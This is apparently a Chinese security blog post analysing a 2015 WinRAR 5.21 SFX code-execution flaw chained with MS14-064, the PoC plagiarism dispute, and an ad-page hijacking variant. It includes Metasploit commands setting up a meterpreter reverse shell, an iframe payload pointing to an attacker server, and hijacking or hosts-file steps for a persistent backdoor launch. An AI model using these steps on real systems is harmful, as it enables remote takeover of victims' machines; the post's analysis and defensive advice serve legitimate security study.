0x00 前言

上月底,WinRAR 5.21被曝出代码执行漏洞,Vulnerability Lab将此漏洞评为高危级,危险系数定为9(满分为10),与此同时安全研究人员Mohammad Reza Espargham发布了PoC,实现了用户打开SFX文件时隐蔽执行攻击代码,但是WinRAR官方RARLabs认为该功能是软件安装必备,没有必要发布任何修复补丁或升级版本。

本以为就此可以跳过该漏洞,但深入研究后发现了更加有趣的事情。

0x01 WinRar 5.21 - SFX OLE 代码执行漏洞

简要介绍一下WinRar 5.21 - SFX OLE 代码执行漏洞

1、相关概念

SFX: SelF-eXtracting的缩写,中文翻译自解压文件,是压缩文件的一种,其可以在没有安装压缩软件的情况下执行解压缩

MS14-064: Microsoft Windows OLE远程代码执行漏洞,影响Win95+IE3 – Win10+IE11全版本,实际使用时在win7以上系统由于IE存在沙箱机制,启动白名单以外的进程会弹出提示,如图

2、漏洞原理

sfx文件在创建时支持添加html脚本,但又不会受IE沙箱限制,如果主机存在MS14-064漏洞,在打开包含MS14-064 exp的sfx文件后,即可隐蔽执行任意代码

3、测试环境

win7 x86

存在MS14-064漏洞

安装WinRar 5.21

4、测试过程

实现相对简单,因此只作简要介绍

(1搭建server

use exploit/windows/browser/ms14_064_ole_code_execution

set payload windows/meterpreter/reverse_tcp

set LHOST 192.168.40.131

set LPORT 1234

exploit

如图

(2生成SFX

选择一个文件右键并添加到压缩文件

选中Create SFX archive

点击Advanced

点击SFX options

点击Text and icon

在Text to display in SFX windows中输入如下代码:

<iframe src="http://192.168.40.131:8080/YrrArF9oTAQ7j"></iframe>

(3运行sfx文件

双击后meterpreter即上线

5、分析

  1. 这种在sfx文件中添加html代码的方法很久以前已经出现,比如早在08年已存在的Winrar挂马
    相关链接:http://www.2cto.com/Article/200804/25081.html
  2. 此漏洞的亮点在于使得MS14-064漏洞exp可以逃脱IE沙箱的限制
  3. 发现是否包含SFX OLE 代码执行漏洞的方法:遇到后缀为.exe的压缩文件,右键-属性-注释,查看其中的内容如图

    0x02 poc之谜

    Vulnerability Lab和Malwarebytes以及各大网站夸大漏洞危害本就十分有趣,而poc作者的归属又引来了更加有趣的事情。

    接下来根据搜集的信息整理出如下时间节点:

    1、seclists.org曝出WinRAR 5.21代码执行漏洞

    文中公开Mohammad Reza Espargham的poc

    日期:28/09/2015

    相关链接:http://seclists.org/fulldisclosure/2015/Sep/106

    2、WinRar官方RARLabs作出第一次回应

    限制SFX模块中的HTML功能会影响正常用户使用,而且攻击者仍可利用旧版SFX模块、来自非UnRAR源代码的自定义模块、或者自建代码存档进行攻击
    所以RARLabs拒绝为此提供补丁并再次提醒用户,无论任何文件,都应该确认其来源是否可信

    相关链接:http://www.rarlab.com/vuln_sfx_html.htm

    3、RARLabs作出第二次回应

    指出该漏洞夸大其辞毫无意义,建议用户更多去关注windows系统的安全,而不是WinRar软件的本身
    在最后提到R-73eN ( RioSherri )举报Mohammad Reza Espargham抄袭其poc代码

    相关链接:http://www.rarlab.com/vuln_sfx_html2.htm

    4、0day.today或许可以证明存在抄袭

    (1) R-73eN首发poc

    日期:25/09/2015

    相关链接:http://0day.today/exploit/24292

    (2) Mohammad Reza Espargham随后发布poc

    日期:26-09-2015

    相关链接:http://cn.0day.today/exploit/24296

    5、R-73eN为证明实力公布第二个漏洞WinRAR(过期通知) OLE远程代码执行漏洞poc

    日期:30-09-2015

    相关链接:http://0day.today/exploit/24326

    6、RARLabs针对R-73eN公布的第二个漏洞作出回应,拒绝修复

    -试用版WinRaR会弹出提示注册的窗口,该漏洞被利用存在可能

    -利用条件:

    网络被劫持

    未安装MS14-064漏洞补丁

    -但是又指出如果满足利用条件,那么系统本身已经不安全,早已超出WinRaR软件自身范畴

    -因此拒绝为此漏洞更新补丁

    相关链接:http://www.rarlab.com/vuln_web_html.htm

    0x03 WinRAR - (过期通知&广告) OLE 远程代码执行漏洞

    虽然WinRAR(过期通知) OLE远程代码执行漏洞也被RARLabs忽略,但其中的思路很是有趣,当然R-73eN公布的poc需要作部分修改来适用更多winRAR环境

    1、相关知识

    我们在使用WinRAR的时候常常会遇到如下情况:

    打开WinRAR时会弹出广告,提示用户付费去掉广告,而不同版本WinRaR广告的链接会存在差异

    英文版目前最新为5.30 beta5

    中文版目前最新为5.21

    英文版广告链接:http://www.win-rar.com/notifier/

    中文版广告链接:http://www.winrar.com.cn/ad/***

    2、漏洞原理

    WinRAR默认会访问特定网址,如果能够劫持并替换为MS14-064的攻击代码,那么远程执行任意代码不在话下,当然也能逃脱IE沙箱限制

    3、测试环境

    win7 x86

    存在MS14-064漏洞

    安装WinRar 5.21 cn

    4、测试过程

    (1)搭建server 下载poc,相关链接:http://0day.today/exploit/24326

    poc需要作细微修改(此处暂不提供修改方法),执行python脚本,如图

    注:如果了解MS14-064漏洞原理,此处修改轻而易举

    (2)重定向http://www.winrar.com.cn至server ip

    可使用arp欺骗和dns欺骗

    (3)使用WinRar打开任意文件

    默认弹出广告,触发漏洞,弹出计算器,如图

    5、分析

  • 虽然该漏洞条件限制相对多,但该思路很有启发性,可以尝试利用其他软件默认弹出网页的情况
  • 可以通过修改主机host文件永久更改广告链接至serverip,最终实现一种另类的后门启动方式
  • 针对此漏洞的防范:
  • 阻止网络被劫持
  • 安装MS14-064漏洞补丁

    0x04 小结

    WinRar的漏洞相对较少,但如果结合其他攻击方式能否突破其官方宣称的安全逻辑,值得继续研究。

WinRAR(5.21)-0day漏洞-始末分析的更多相关文章

  1. WinRAR 0day漏洞

    WinRAR 0day漏洞(附利用过程) 英国安全机构Mohammad Reza Espargham的漏洞实验室发现,流行压缩工具WinRAR 5.21最新版里存在一个安全漏洞,目前该漏洞还属于零日漏 ...

  2. WinRAR 0day漏洞 附利用过程

    英国安全机构Mohammad Reza Espargham的漏洞实验室发现,流行压缩工具WinRAR 5.21最新版里存在一个安全漏洞,目前该漏洞还属于零日漏洞,同时官方正在全力修补该漏洞.同时报告该 ...

  3. Heartbleed心脏出血漏洞原理分析

    Heartbleed心脏出血漏洞原理分析 2017年01月14日 18:14:25 阅读数:2718 1. 概述    OpenSSL在实现TLS和DTLS的心跳处理逻辑时,存在编码缺陷.OpenSS ...

  4. MySQL 0Day漏洞出现 该漏洞可以拿到本地Root权限

    2016年9月12日, legalhackers.com网站发布了编号为CVE-2016-6662的0day漏洞公告 .由于该漏洞可以获得MySQL服务器的Root权限,且影响MySql5.5.5.6 ...

  5. Flash 0day漏洞(CVE-2018-4878)复现

    该漏洞影响 Flash Player 当前最新版本28.0.0.137以及之前的所有版本,而Adobe公司计划在当地时间2月5日紧急发布更新来修复此漏洞. 本文作者:i春秋作家——F0rmat 前言 ...

  6. 20155306 白皎 免考实践总结——0day漏洞

    本次免考实践提纲及链接 第一部分 基础知识 1.1 0day漏洞概述 1.2二进制文件概述 1.3 必备工具 1.4 crack实验 第二部分 漏洞利用 2.1栈溢出利用 2.1.1 系统栈工作原理 ...

  7. 20155306 白皎 0day漏洞——漏洞利用原理之GS

    20155306 白皎 0day漏洞--漏洞利用原理之GS 一.GS安全编译选项的保护原理 1.1 GS的提出 在第二篇博客(栈溢出利用)中,我们可以通过覆盖函数的返回地址来进行攻击,面对这个重灾区, ...

  8. 20155306 白皎 0day漏洞——漏洞利用原理之DEP

    20155306 白皎 0day漏洞--漏洞利用原理之DEP 一.DEP机制的保护原理 1.为什么出现DEP? 溢出攻击的根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计 ...

  9. 20155306 白皎 0day漏洞——漏洞利用原理之栈溢出利用

    20155306 白皎 0day漏洞--漏洞利用原理之栈溢出利用 一.系统栈的工作原理 1.1内存的用途 根据不同的操作系统,一个进程可能被分配到不同的内存区域去执行.但是不管什么样的操作系统.什么样 ...

随机推荐

  1. TCP/IP协议的三次握手及实现原理

    TCP/IP是很多的不同的协议组成,实际上是一个协议组,TCP用户数据报表协议(也称作TCP传输控制协议,Transport Control Protocol.可靠的主机到主机层协议.这里要先强调一下 ...

  2. 你知道吗, CoreGraphics绘图系统和Bezier贝塞尔曲线坐标系的顺时针方向是相反的!

    UIBezierPath是对Core Graphics框架的一种上层封装,目的是让绘图需求可以被更方便的使用. 那你有没有发现被UIBezierPath封装后与之前有什么改变? 答:有三个变化. 1. ...

  3. [PY3]——内置数据结构(2)——元组及其常用操作

    定义和初始化 #tuple() 使用工厂函数tuple定义一个空元组 #() 使用圆括号定义一个空元组 #(1,2,3) 使用圆括号定义有初始值的元组 #tuple(可迭代对象) 把可迭代对象转换为一 ...

  4. [PY3]——合并多个字典或映射(collections模块中的ChainMap 类)

    问题 现在有多个字典或者映射,你想将它们从逻辑上合并为一个单一的映射后执行某些操作, 比如查找值或者检查某些键是否存在. 解决方案 使用 collections 模块中的 ChainMap 类 Cha ...

  5. spring之validation校验

    对于任何一个应用而言在客户端做的数据有效性验证都不是安全有效的,这时候就要求我们在开发的时候在服务端也对数据的有效性进行验证.SpringMVC自身对数据在服务端的校验有一个比较好的支持,它能将我们提 ...

  6. 第5章 scrapy爬取知名问答网站

    第五章感觉是第四章的练习项目,无非就是多了一个模拟登录. 不分小节记录了,直接上知识点,可能比较乱. 1.常见的httpcode: 2.怎么找post参数? 先找到登录的页面,打开firebug,输入 ...

  7. WINFORM如何实现无聚焦框的Button按钮

    当我们将一个button按钮设置如下属性时,总有一个聚焦框来困扰着我们 button1.FlatStyle = FlatStyle.Flat; 我们想要的效果是这样的: 但当使用了Tab切换焦点时 发 ...

  8. ES6学习笔记(二)-字符串的扩展

    一.字符的 Unicode 表示法 JavaScript 允许采用\uxxxx形式表示一个字符,其中xxxx表示字符的 Unicode 码点. 表示法只限于码点在\u0000~\uFFFF之间的字符, ...

  9. cf1060D. Social Circles(贪心)

    题意 题目链接 Sol 我是这样考虑的:从大到小考虑每个\(l, r\),最大的\(l\)应该和最大的\(r\)匹配(不然就亏了),其次次大的\(r\)应该和次大的\(l\)匹配 然后就过了.. /* ...

  10. Git简介、安装与配置

    老规矩QAQ,先来简单介绍一下Git: Git是一个分布式版本控制系统,可以理解为是一个用于管理代码,控制版本,方便多人合作开发的一款工具. Git:分布式版本控制系统. SVN.CVS:集中式版本控 ...